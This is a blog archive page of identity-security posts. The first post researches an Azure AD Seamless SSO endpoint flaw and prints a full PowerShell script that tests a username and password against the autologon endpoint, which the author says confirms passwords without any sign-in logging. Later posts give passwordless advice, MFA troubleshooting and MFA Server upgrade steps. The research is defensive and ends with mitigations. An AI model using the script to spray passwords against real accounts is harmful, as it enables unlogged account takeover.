Jorge's Quest For Knowledge!

All About Identity And Security On-Premises And In The Cloud – It's Just Like An Addiction, The More You Have, The More You Want To Have!

Archive for the ‘Multi-Factor AuthN’ Category

(2021-10-05) Azure AD Password Brute Force Flaw Found By ArsTechnica

Posted by Jorge on 2021-10-05


Last week, as many of you, I became aware of the the Azure AD Password Brute Force “Flaw” that was found by ArsTechnica. Of course this raised my interest and I wanted to do some research myself to understand as best as possible what was going on.

Source: https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

This whole thing was focussed on an Azure AD endpoint mainly used for Seamless Sign-On when using either PHS only or PTA only for a specific domain in Azure AD.

So I will start at the beginning and walk you through what I found.

When I looked into my sign-in logs of my test/dev Azure AD tenant, I saw the following

Figure 1: Sign-In Events In The Sign-In Logs In Azure AD

To test this I used the following code, that I found through https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/

Invoke-Command -ScriptBlock {
	[string]$tenantname= Read-Host -Prompt "Enter Azure AD Tenant Short Name"	
	[string]$username= Read-Host -Prompt "Enter UserName"
	$securedValue = Read-Host -AsSecureString -Prompt "Enter Password"
	$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securedValue)
	$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

	$requestid = [System.Guid]::NewGuid().guid

	$domain = ($username -split "@")[1]

	Invoke-RestMethod -Method Get -UseBasicParsing ("https://login.microsoftonline.com/common/userrealm/$username" + "?api-version=1.0") -UserAgent $userAgent

	$headers = @{
		"client-request-id"=$requestid
		"return-client-request-id"="true"
	}

	$uri2 = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"

	[xml]$data = '<?xml version="1.0" encoding="UTF-8"?>
	<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
	  <s:Header>
		<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
		<a:MessageID>urn:uuid:36a6762f-40a9-4279-b4e6-b01c944b5698</a:MessageID>
		<a:ReplyTo>
		  <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
		</a:ReplyTo>
		<a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/$tenantname.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
		<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
		  <u:Timestamp u:Id="_0">
			<u:Created>2019-01-02T14:30:02.068Z</u:Created>
			<u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
		  </u:Timestamp>
		  <o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
			<o:Username>DefinedLater</o:Username>
			<o:Password>DefinedLater</o:Password>
		  </o:UsernameToken>
		</o:Security>
	  </s:Header>
	  <s:Body>
		<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
		  <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
			<a:EndpointReference>
			  <a:Address>urn:federation:MicrosoftOnline</a:Address>
			</a:EndpointReference>
		  </wsp:AppliesTo>
		  <trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
		  <trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
		</trust:RequestSecurityToken>
	  </s:Body>
	</s:Envelope>
	'

	[string]$UsernameToken  = [System.Guid]::NewGuid().guid

	[string]$messageId = "urn:uuid:" + ([System.Guid]::NewGuid().guid)

	$data.Envelope.Header.Security.UsernameToken.Id = $UsernameToken

	$data.Envelope.Header.Security.UsernameToken.Username = $username

	$data.Envelope.Header.Security.UsernameToken.Password = $password

	$data.Envelope.Header.MessageID = $messageId

	$data.Envelope.Header.To.'#text'= $uri2

	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri2 -Method Post -Headers $headers -Body  $data -ContentType "application/soap+xml; charset=utf-8" -UserAgent $userAgent

	$samltoken = $req.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken

	$token ='<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><DesktopSsoToken>SAMLSSO</DesktopSsoToken></saml:Assertion>' -replace "SAMLSSO", $samltoken

	$bytes = [System.Text.Encoding]::ASCII.GetBytes($token)

	$base64 = [System.Convert]::ToBase64String($bytes);$base64

	$uri3 = "https://login.microsoftonline.com/common/oauth2/token"

	$body =@{
		client_id = "cb1056e2-e479-49de-ae31-7812af012ed8"
		resource = "https://graph.microsoft.com"
		grant_type = "urn:ietf:params:oauth:grant-type:saml1_1-bearer"
		assertion = $base64
	}
		 
	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri3 -Method Post -Headers $headers -ContentType "application/x-www-form-urlencoded" -Body $body

	$headers = @{
		"Authorization" = ($req.token_type) +" "+ ($req.access_token)
	   }
		 
	$me = Invoke-RestMethod -Uri ($body.resource + "/v1.0/me") -Method Get -Headers $headers; $me
}
  • [1] the sign in to my Windows 10 using my Azure AD account in a managed domain (jorge@managed.domain) (Visible in Figure 1);
  • [2] the sign-in to Azure AD portal using an account with Global Admin privileges (Visible in Figure 1);
  • [3] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my Azure AD account in a managed domain (jorge@managed.domain), where I on purpose provided a wrong password. Hence the failure result (Visible in Figure 1);
  • [4] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account (jorge@federated.domain). Fiddler showed redirection to my ADFS farm in my test environment, but that test environment is shutdown so ADFS (and WAP) is not available (sign-in did not initiate therefore not visible in logs) (Not visible in Figure 1);
  • [5] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account @ work. Fiddler showed redirection to the ADFS farm at work. I did not complete sign-in, therefore nothing visible in sign-in logs in that Azure AD tenant. If I would complete the sign-in it would be visible for sure (Not visible in Figure 1);
  • [6] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a wrong password (PHS enabled!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was (figure 2);
Figure 2: Signing-In With A Federated Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [7] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a correct password (PHS enabled!) (I confirmed PHS was enabled and working and the password for this account was synched!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was as above (figure 2);
  • [8] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a wrong password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was (figure 3);
Figure 3: Signing-In With A Managed Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [9] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: MFA kicks in due to conditional access being enabled in all occasions for this account and because no MFA was done, authentication fails (figure 4);
Figure 4: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy ENABLED)
  • [10] after disabling the conditional access policy impacting the managed Azure AD account and using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: No MFA this time due to disabling conditional access policy, authentication now fully succeeds (figure 5);
Figure 5: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy DISABLED)

I wanted to go a step further and see what happens if I converted my federated domain to a managed domain. And that is exactly what I did!

I converted “@federated.domain” to “@managed.domain”. so, now the user jorge@federated.domain is jorge@federated.domain.converted.to.managed.domain (man I’m glad this is not my real mail address!)

  • [11] using the code above and signing in with my converted managed Azure AD account (jorge@federated.domain.converted.to.managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: (figure 6);
Figure 6: Signing-In With A Managed (Converted From Federated) Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint
  • [12] as soon as I reverted back from native to federated it failed again as in [7]

So based upon these findings my personal conclusion is:

  1. This does allow password brute-force/spraying attacks to understand whether a password is correct or not
  2. Nothing is logged in the sign-in logs in Azure AD, that applies to both success and failure sign-ins
  3. It appears NOT to work (i.e. no security issue) when targeting accounts in federated domains, whether PHS is enabled or not. It looks like the Azure AD UserNameMixed endpoint ignores requests from accounts in federated domains (ADFS is not that bad after all! 😉 );
  4. It appears to work (i.e. security issue) when targeting accounts in managed domains, when either using PHS (tested) and PTA (not tested) as those can use Seamless SSO;
  5. It applies to PTA too because Azure AD receives the password and sends it to the PTA agent on-premises and because it can also use Seamless SSO;
  6. Although NOT tested against ADFS/WAP using the code above, if the same endpoint is exposed in ADFS through WAP, then you have the exact same issue for accounts in AD. A recommendation is to have it published through ADFS, but NOT to publish it through WAP (proxy);
  7. I do not consider this to be a vulnerability, but rather a bad “by design”-made decision, because:
    1. Nothing is logged, either with failure of success;
    2. The endpoint is always enabled whether or not you use Seamless SSO;
  8. Although NOT mentioned previously by me, but in step [11] it only worked after disabling Azure AD Identity Protection Sign-in Risk. After I converted the domain from federated to managed, Azure AD Identity protection sign-in risk kicked in and forced me to change my password. After changing my password, I would be in the same boat as an normal managed account
  9. Although nothing being logged in the Azure AD sign-in logs when targeting the Azure AD UserNameMixed, I think have Azure AD Identity Protection AND a conditional access policy forcing MFA at all times will save and protect your bacon. During my testing I experienced blockages due to Azure AD Identity Protection being enabled and Conditional Access forcing MFA at all times. Although MFA may be enabled, but because confirmation is given a password is correct or not, and when correct you just need to find another endpoint/app/whatever for which MFA is not enabled.

Recommendations for you:

  • Enable conditional access policy to always force MFA, especially in external scenarios and/or from untrusted devices
  • Enable Azure AD Identity Protection Sign-In and User-Risk
  • And while you are at it, not really related to this, do enable PHS if you are federated, to be able to leverage leaked credentials

With that in mind, Microsoft appears to go to change things as described in the following link: https://www.databreachtoday.com/microsoft-will-mitigate-brute-force-bug-in-azure-ad-a-17646

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in Azure AD Identity Protection, Conditional Access, Multi-Factor AuthN, Pass Through Authentication, Password Hash Sync (PHS), Passwords, Security, SSO, Windows Azure Active Directory | Leave a Comment »

(2019-12-12) Delivered Session About “Moving Towards Passwordless Concept”

Posted by Jorge on 2019-12-12


Delivered session @DetronICT, invited by @ThierryVos about "Moving Towards Passwordless Concept" (preso and demos). About 30 tech enthusiasts listened until bitter end. Thanks for the invitation, and until a next time! Reward afterwards? Enjoying some beers together!

image

Figure 1: Initial Slide – Title/SubTitle

image

Figure 2: Introducing Me

image

Figure 3: The Agenda

image

Figure 4: The Agenda With Demos

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Federation Services (ADFS), Azure AD / Office 365, Azure AD Connect, Azure AD Identity Protection, Azure AD MFA Adapter, Azure AD Password Protection, Conferences, Field Experiences, Group Policy Objects, Last Logon Information, Microsoft Authenticator App, Multi-Factor AuthN, MVP, Password Expiration Notification, Password-Less, Passwords, Passwords, Self-Service Password Reset, SSO, SYSVOL, Tooling/Scripting, Windows Azure Active Directory | 1 Comment »

(2019-08-01) Moving Towards The Password-Less Concept – One Heck Of Journey And Badly Needed

Posted by Jorge on 2019-08-01


Current passwords are potentially weak and any use of those in general further weakens an infrastructure. Preferably any org needs to move away from using passwords as much as possible. This means for example preventing the usage of passwords, and instead use SSO and/or other more secure authentication mechanisms. In other words, the adoption of the "Password-Less" concept. However, for those scenarios that cannot adopt “Password-Less" (yet), passwords must be strengthened or better secured at rest and in transport. In today’s world “identity” is the key control plane. Therefore protecting the “identity” and everything related is of utmost importance. Usage of weak passwords presents unacceptable security risks to any org. We all know that, don’t we?! Now you need to act to secure yourself as best as possible.

Going password-less is a journey on its own and implementing that concept could mean for example (NOT an exhaustive list and also in random order!):

  • Ban “weak/common” words from being used in weak passwords using Azure AD Password Protection and/or LithNet Password Protection For Active Directory (LPP) (last one is free and the feature set is huge!)
  • Check AD for weak passwords and weak accounts configurations and follow up with risk mitigating actions. Can be done through LPP and DS Internals and generic LDAP queries
  • Help and educate users in terms of using, storing, generating, uniqueness, sharing/distributing, etc. for less frequent (complex and long) and regular used (pass phrases) passwords. Preferably use machine generated passwords as those have no human logic in them, or use (long) passphrases or bang your head against the keyboard multiple times while on and off holding the SHIFT key (last one, kidding!) (people tend to implement logic or sequences somehow in passwords to not forget those long passwords and to make them unique)
  • Move service accounts in AD from regular service accounts to:
    • Group Managed Service Accounts if possible
    • …and if that’s not possible have a password vault store, manage and change passwords on a regular basis
    • …and if that’s not possible keep using regular service accounts with long and unique passwords
  • If possible, increase the password length to a minimum of 15 characters for users
  • Move away from periodic password changes to risk based password changes (e.g. through Azure AD Identity Protection)
  • Using strong and unique passwords for every individual system/site not supporting SSO (the strength of a password is mostly determined by its length, the longer the better!);
  • Securely store passwords in an MFA enabled password manager/vault that is available on both your desktop and mobile device(s)
  • Make Self-Service Password Reset available to users for those occasions where the password is needed but the user has forgotten the password or has locked itself out
  • When using ADFS, implement extranet lockout policy
  • Only use HTTPS connections (at least TLS1.2) in your environment and do not use HTTP
  • Update systems, tools, scripts to NOT set weak/generic/well-known password or account configurations (e.g. LM Hashes, Password Not Required, Password Never Expires, etc)
  • Decrease the use of passwords as much as possible by:
    • Implementing SSO
    • Implement password-less authN for Windows computers (e.g. Windows Hello for Business) and remove password based authN if possible
    • Implement password-less authN for mobile devices (e.g. Azure AD MFA + AuthNtor App Notifications And OTPs) as primary authN, preferably with at least 2 factors during that primary authN, or implement password authN as secondary authN (when using ADFS)

Additional Resources:

Hope this helps you!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Federation Services (ADFS), Azure AD MFA Adapter, Azure AD Password Protection, Kerberos AuthN, Microsoft Authenticator App, Multi-Factor AuthN, NTLM AuthN, Password-Less, Security, Self-Service Password Reset, SSO, WH4B, Windows Azure Active Directory, Windows Client, Windows Integrated AuthN | 1 Comment »

(2019-07-15) Reenrolling Your Mobile Device

Posted by Jorge on 2019-07-15


the This post is based upon my experience with an iPhone or iPad enrolled in Intune and configured to use the Microsoft Authenticator app. No experience (yet) with an Android device.

Now imagine this, you have enrolled your mobile device (iPhone/iPad) in Intune for MDM and you have installed the Microsoft Authenticator App to support Azure AD MFA (Cloud) for your company account and most likely, or better yet “hopefully” any other account that supports the Microsoft Authenticator App. Looking at myself, when I find a system for which I have an account that supports the Microsoft Authenticator App I configure that account to use it. So far I have added about 70 accounts to the Microsoft Authenticator App.

At device level it has been configured to create a backup of the mobile device (iPhone/iPad) to my iCloud account. At Microsoft Authenticator App level, I also configured it to make backups on a regular basis to my iCloud account.

After using your mobile device (iPhone/iPad) for quite some time, it is either stolen, broken or lost. Solution? Get a new mobile device (iPhone/iPad) and restore it from the iCloud backup.

By restoring it from the an iCloud backup the MDM registration gets wiped, so you will need to register it again. By restoring it from the iCloud backup, the mobile device (iPhone/iPad) inherits the same name from the device from which the backup was created. If you reregister it again, you will end up with an additional device having the same name as the previous one. Now which device can be removed when both the previous and new mobile device have the same name?

After restoring the backup of the Microsoft Authenticator app from the iCloud account, all the accounts in the Microsoft Authenticator app will continue to work, except for any Microsoft-based account (Microsoft Account/Windows Live/Outlook.com/hotmail.com. etc. or Azure AD) as that account needs to be reactivated by re-scanning the QR-code. Just taking the Azure AD account into account, and assuming you are using the converged experience for registering SSPR/MFA security info, you will again end up with 2 registrations (the previous and the new one) having the same name for the mobile device (iPhone/iPad) that has the Microsoft Authenticator app installed.

So to be able to recognize the new mobile device (iPhone/iPad), your best bet as A USER is to change its name after the iCloud restore and before the registration of the mobile device (iPhone/iPad) in Intune and before the re-registration/re-activation of the Azure AD account in the Microsoft Authenticator app for MFA. If you do this and after that re-register in Intune and re-register/re-activate the Azure AD account, you will be able to distinguish the new mobile device (iPhone/iPad) from the old mobile device (iPhone/iPad) and remove the old registration. An admin is able to see the difference in Azure AD of registered devices by looking at for example the registration date and last activity date.

Now, also let’s assume you did not change the mobile device’s (iPhone/iPad) name and you went straight to re-registering it in Intune for MDM and you also re-registered/activated the Azure AD for MFA in the Microsoft Authenticator app. Currently to be able to distinguish the registration of the old and new device for both Intune and Microsoft Authenticator app, that is not possible with changing its name afterwards.

You can do that by following the next steps (based upon my own experience):

Changing name in Intune:

  • Open the Company portal app
  • Sign-out and really close the Company portal app
  • Close the Microsoft Authenticator app
  • Rename mobile device (iPhone/iPad) in iOS
  • Open the Company portal app and sign-in
  • Navigate to the Device section (no need to rename the device name in the Company Portal app itself)
  • Push down for update multiple times until the original name property at the bottom displays the same name as the name you gave it in iOS
  • Also in the Device section, tap “Check Settings” (if you have more than one device registered, select the correct device first)
  • Now if you navigate to the registered devices page (#/device-list">https://myprofile.microsoft.com/?tenant=<tenant ID>#/device-list), you most likely will see the new name of the device. Any mobile device with the old name could be removed from the device list.
  • Delete the registration of the device with the old name(s) for the same mobile device (iPhone/iPad)

Changing name in the registration of the Microsoft Authenticator app in the security info (converged expererience)

  • Navigate to the security info page (">https://mysignins.microsoft.com/security-info?tenant=<tenant ID>)
  • Reregister the Microsoft Authenticator app as a new method (it may be already registered and there is no need to remove it first as you do not know which to remove)
  • Open the Microsoft Authenticator app and readd a Work or School Account, scan the QR-code and complete the registration
  • On the security info page, after reloading it, one of the previous names will have changed to the new name
  • Delete the registration of the Microsoft Authenticator app with the old name(s) for the same mobile device (iPhone/iPad)

Now if you really liked the previous name of the device, just follow the exact same steps above and when you reach the step of renaming the device in iOS, reuse the previous name.

@Microsoft: Please make it easier for users to see differences of old and new registrations in both Intune and Azure AD security info . Add something like a registration date, last activity date, a unique ID that can be easily found in Intune / Security Info, etc. Main reason: empower the user to manage its own info and actually make it easier for them. THANKS!!!

Hope this helps you!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Intune, Microsoft Authenticator App, Mobile Devices, Multi-Factor AuthN, Windows Azure Active Directory | Leave a Comment »

(2019-05-31) Cloud-Based Azure AD MFA Notifications Not Working While You Already Registered

Posted by Jorge on 2019-05-31


After registering your security info in Azure AD, it may look like or be similar to:

REMARK: the security page looks like this because I have converged experience for MFA and SSPR enabled in AAD

image

Figure 1: Security Information In AAD To Be Able To Use MFA And SSPR (Converged Experience)

Now after navigating to an ADFS connected application and choosing the cloud-based Azure AD MFA on the MFA choice screen in ADFS, you may see a screen telling you the method is not available. In my ADFS it looks like displayed below.

REMARK: this has been customized by me. In a future blog post I will show how

image

Figure 2: (Custom) Error In ADFS Saying That The Account Is Not Registered For The Chosen MFA Method

The weird thing here is that you can see in figure 1 that the account is registered, but for some reason it is still failing as shown in figure 2. I know what the problem is and how to solve it, but do not understand why or when it happens. Although I have the Microsoft Authenticator app registered, you can also see the default sign-in method is set to “Phone – Text”. THAT may work when using SSPR, but in my case it will not work for MFA because I have “Text message to phone” disabled in the Multi-Factor Authentication service settings as displayed below.

image

Figure 3: The Configured Multi-Factor Authentication Service Settings In My AAD Tenant

To cut a long story and a long time of searching for a solution short, you can do the following to solve this.

  1. Navigate to https://aka.ms/setupsecurityinfo
  2. If on the right of the Default Sign-In Method you see a link called “Change”, then click that and skip steps 3 and 4 and 5
  3. If on the right of the Default Sign-In Method you DO NOT see a link called “Change”, then click on “Change” next to “Delete” for the Phone registration
  4. Just reregister the exact same (mobile) phone number. For confirmation you will receive a text message and you need to enter the code received to complete the process
  5. If on the right of the Default Sign-In Method you see a link called “Change”, then click that. If you do not, the go to step 7
  6. Change the default sign-in method to “Authenticator App – Notifications” (assumes you have a registration for the Microsoft Authenticator App)
  7. If MFA still does not work, then navigate to https://aka.ms/setupsecurityinfo and re-register the Microsoft Authenticator app with the account you used to log into AAD. There is no need to remove any existing registration in AAD or the account from the Microsoft Authenticator app. Any new registration will overwrite the existing registration.
  8. If on the right of the Default Sign-In Method you see a link called “Change”, then click that and choose the “Microsoft Authenticator App – Notification” method as the default sign-in method
  9. Try MFA again. It should work now.

The security information should look like or be similar to

image

Figure 4: Security Information In AAD To Be Able To Use MFA And SSPR (Converged Experience)

What I have seen is that after people register the Microsoft Authenticator app in the Security Information page in AAD, for many of them the default sign-in method is automatically changed to “Microsoft Authenticator App – Notifications”, but for some it remains with “Phone – Text”

Enjoy and have fun!,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Multi-Factor AuthN, Windows Azure Active Directory | Leave a Comment »

(2018-04-20) Azure AD MFA Server v8.0.0.3 Has Been Released

Posted by Jorge on 2018-04-20


Azure Multi-Factor Authentication Server provides a way to secure resources with MFA capabilities

Download "Azure Multi-Factor Authentication Server"

Azure Multi-Factor Authentication Server

8.0.0.3

Released: 4/9/2018

Microsoft has released a newer version of the Azure AD MFA server. If you start the MFA Server Console you should see a notification about a newer version being available.

Version 8.0.0.3 of the Azure Multi-Factor Authentication Server adds the following additional functionality:

  • Registration experience improvements on mobile
  • Improved interaction with AD Sync
  • Support for TLS 1.2 for LDAP, User Portal to Web Service SDK, and SChannel replication
  • Compliance with General Data Protection Regulation
  • Accessibility improvements to User Portal, MFA Server management, and installation
  • Fixed issue with fallback to security questions
  • Fixed issue with security questions appearing multiple times
  • Miscellaneous bug fixes and improvements
  • NOT MENTIONED IN RELEASE NOTES: It now DOES install on Server Core!

Known Issues:

  • Windows Authentication for Terminal Services is not supported for Windows Server 2012 R2

Upgrade Considerations:

  • Must upgrade MFA Server and Web Service SDK before upgrading User Portal And AD FS adapter
  • All other features and components are backwards-compatible with all previous versions
  • Installation of the mobile app web service is not necessary for v8.0 or higher. Complete only the steps under Configure the mobile app. After the upgrade you may want to uninstall the previous mobile app web service, remove the virtual directory and application pool from IIS. If you have published the mobile app web service, then that is not required anymore

More information about Azure AD MFA Server can be found here.

Upgrade steps can be found here, but also take the following info into account

For this version of the MFA server:

  • you need to have MS-KB2919355 installed on the MFA server before starting the installation (check with Get-HotFix KB2919355)
  • you need to have the following installed on any server with any MFA server component: The Visual C++ 2017 Redistribution packages (a.k.a. Visual C++ "14" Runtime Libraries) are also available from here
  • you need to have the at least following version installed on any server with any MFA server component: .NET Framework 4.6.2 is available from here.

Before upgrading/installing the new ADFS adapter, you need to unselect and unregister the previous ADFS adapter

  • Using WID?: Execute the commands below on primary ADFS server and wait at least 5 minutes to allow WID replication to take place and finish
  • Using SQL?: Execute the commands below on any ADFS server

# Unselecting The Use Of Azure AD MFA Adapter To Be Listed
$listOfCurrentMFAProviders = (Get-AdfsGlobalAuthenticationPolicy).AdditionalAuthenticationProvider
$listOfNewMFAProviders = $listOfCurrentMFAProviders
$listOfNewMFAProviders.Remove("WindowsAzureMultiFactorAuthentication")  # Use THIS line if the old version is v6.3.0 or lower
$listOfNewMFAProviders.Remove("AzureMfaServerAuthentication")  # Use THIS line if the old version is v7.0.0.9 or higher
Set-AdfsGlobalAuthenticationPolicy -AdditionalAuthenticationProvider $listOfNewMFAProviders

# Unregistering The Azure AD MFA Adapter Within ADFS
Unregister-AdfsAuthenticationProvider -Name WindowsAzureMultiFactorAuthentication  # Use THIS line if the old version is v6.3.0 or lower
Unregister-AdfsAuthenticationProvider -Name AzureMfaServerAuthentication  # Use THIS line if the old version is v7.0.0.9 or higher

After installing the new ADFS adapter, you need to configure it, register it and configure it within ADFS

  • Using WID?: EDIT The file “MultiFactorAuthenticationAdfsAdapter.config” on the primary ADFS server as explained below (use your previous settings where applicable), and SAVE it afterwards
  • Using SQL?: EDIT The file “MultiFactorAuthenticationAdfsAdapter.config” on any ADFS server as explained below (use your previous settings where applicable), and SAVE it afterwards

FILE: MultiFactorAuthenticationAdfsAdapter.config

<ConfigurationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

    <UseWebServiceSdk><true OR false></UseWebServiceSdk>

    <WebServiceSdkUrl><URL to the MFA Web Service SDK></WebServiceSdkUrl>

    <WebServiceSdkUsername><the account (DOMAIN\SAMACCOUNTNAME) the user portal is also using in its web.config></WebServiceSdkUsername>

    <WebServiceSdkPassword><the password of the account above the user portal is also using in its web.config></WebServiceSdkPassword>

    <WebServiceSdkCertificateThumbprint><thumbprint of certificate of web service sdk></WebServiceSdkCertificateThumbprint>

    <AutomaticallyTriggerUserDefaultMethod><true OR false></AutomaticallyTriggerUserDefaultMethod>

    <TestMode><true OR false></TestMode>

</ConfigurationData>

Now we need to register and configure the new ADFS adapter within ADFS

# Registering The Azure AD MFA Adapter Within ADFS

$typeName = "pfadfs.AuthenticationAdapter, MultiFactorAuthAdfsAdapter, Version=8.0.0.3, Culture=neutral, PublicKeyToken=f300afd708cefcd3"
Register-AdfsAuthenticationProvider -TypeName $typeName -Name AzureMfaServerAuthentication –ConfigurationFilePath "<Provide Path To MultiFactorAuthenticationAdfsAdapter.config>"

# Selecting The Use Of Azure AD MFA Adapter To Be Listed
$listOfCurrentMFAProviders = (Get-AdfsGlobalAuthenticationPolicy).AdditionalAuthenticationProvider
$listOfNewMFAProviders = $listOfCurrentMFAProviders + "AzureMfaServerAuthentication"
Set-AdfsGlobalAuthenticationPolicy -AdditionalAuthenticationProvider $listOfNewMFAProviders

# Configuring Custom Display Name And Custom Description
Set-AdfsAuthenticationProviderWebContent -Name "AzureMfaServerAuthentication" -DisplayName "<Provide Custom DisplayName>" -Description "<Provide Custom Description>"

I upgraded from the previous version without any issues!

Cheers,
Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Federation Services (ADFS), Azure AD MFA Adapter, Multi-Factor AuthN, Windows Azure Active Directory | 5 Comments »

(2017-05-17) Azure AD MFA Server v7.3.0.3 Has Been Released

Posted by Jorge on 2017-05-17


Microsoft has released a newer version of the Azure AD MFA server. If you start the MFA Server Console you should see a notification about a newer version being available.

Release notes: https://pfweb.phonefactor.net/install/7.3.0.3/release_notes.txt

Version 7.3.0.3 of the Azure Multi-Factor Authentication Server adds the following additional functionality:

  • AD FS adapter performance improvements
  • Tags performance improvements
  • Log request IDs to allow correlation with backend logs
  • Modified AD sync service to clear phone numbers that are cleared in the directory
  • Fix for RADIUS one-way text message fallback to OATH token
  • Fix for passwords that contain leading or trailing spaces
  • Fix AD FS adapter to handle cultures that aren’t associated with a locale ID
  • Change mobile app references from Azure Authenticator to Microsoft Authenticator

Known Issues:

  • Windows Authentication for Terminal Services is not supported for Windows Server 2012 R2

Upgrade Considerations:

  • Must upgrade MFA Server and Web Service SDK before upgrading AD FS adapter
  • All other features and components are backwards-compatible with all previous versions

More information about Azure AD MFA Server can be found here.

Upgrade steps can be found here, but also take the following info into account

